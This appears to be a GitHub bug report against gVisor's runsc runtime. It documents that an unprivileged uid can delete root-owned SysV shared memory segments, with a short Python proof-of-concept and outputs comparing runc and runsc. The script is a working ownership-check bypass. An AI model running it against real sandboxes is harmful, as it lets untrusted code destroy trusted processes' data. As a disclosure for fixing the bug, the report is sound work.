Skip to content

Any uid can destroy any SysV shared memory segment #14191

Description

@Mr-Pepe

Description

It seems that gVisor doesn't check ownership of SysV segments before destroying them. An unprivileged process with no capabilities can destroy a segment created by root.

I hit this while writing cleanup code that walks the SysV id space and removes the segments belonging to one uid. Under runc I could let the kernel do the filtering, i.e., try to remove every ID, and the ones that aren't mine get refused. Under runsc that took out the segments belonging to root as well.

Impact is small, as far as I can tell. It's confined to one IPC namespace, so a process can only reach segments in its own sandbox, and there's no escape here. It matters if you run something untrusted alongside something trusted in the same sandbox and the trusted side uses SysV shared memory. In that scenario the untrusted side can destroy those segments. We put untrusted code in its own IPC namespace, which sidesteps this issue, still wanted to raise it here.

Steps to reproduce

import ctypes, os

libc = ctypes.CDLL(None, use_errno=True)
IPC_PRIVATE, IPC_CREAT, IPC_RMID = 0, 0o1000, 0

shmid = libc.shmget(IPC_PRIVATE, 4096, IPC_CREAT | 0o600)
print("root created segment", shmid, "mode 0600")

if os.fork() == 0:
    os.setgroups([])
    os.setgid(1000)
    os.setuid(1000)
    caps = [l.split()[1] for l in open("/proc/self/status") if l.startswith("CapEff")]
    ctypes.set_errno(0)
    rc = libc.shmctl(shmid, IPC_RMID, None)
    print("uid", os.geteuid(), "CapEff", caps[0], "-> IPC_RMID returned", rc, "errno", ctypes.get_errno())
    os._exit(0)
os.wait()

Run it as root in a container, once under each runtime:

docker run --rm --runtime=runc  -v /tmp/repro.py:/repro.py:ro <image> python3 /repro.py
docker run --rm --runtime=runsc -v /tmp/repro.py:/repro.py:ro <image> python3 /repro.py

runc:

root created segment 0 mode 0600
uid 1000 CapEff 0000000000000000 -> IPC_RMID returned -1 errno 1

runsc:

root created segment 1 mode 0600
uid 1000 CapEff 0000000000000000 -> IPC_RMID returned 0 errno 0

runsc version

runsc version release-20260810.0
spec: 1.2.1

docker version (if using docker)

Client:
 Version:           29.1.3
 API version:       1.52
 Go version:        go1.24.13
 Git commit:        29.1.3-0ubuntu4.1
 Built:             Wed Apr 29 16:40:20 2026
 OS/Arch:           linux/amd64
 Context:           default

Server:
 Engine:
  Version:          29.1.3
  API version:      1.52 (minimum version 1.44)
  Go version:       go1.24.13
  Git commit:       29.1.3-0ubuntu4.1
  Built:            Wed Apr 29 16:40:20 2026
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          2.2.2
  GitCommit:        
 runc:
  Version:          1.4.0-0ubuntu1
  GitCommit:        
 docker-init:
  Version:          0.19.0
  GitCommit:

uname

Linux 7.0.0-1007-gcp #7-Ubuntu SMP PREEMPT x86_64

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    type: bugSomething isn't working

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions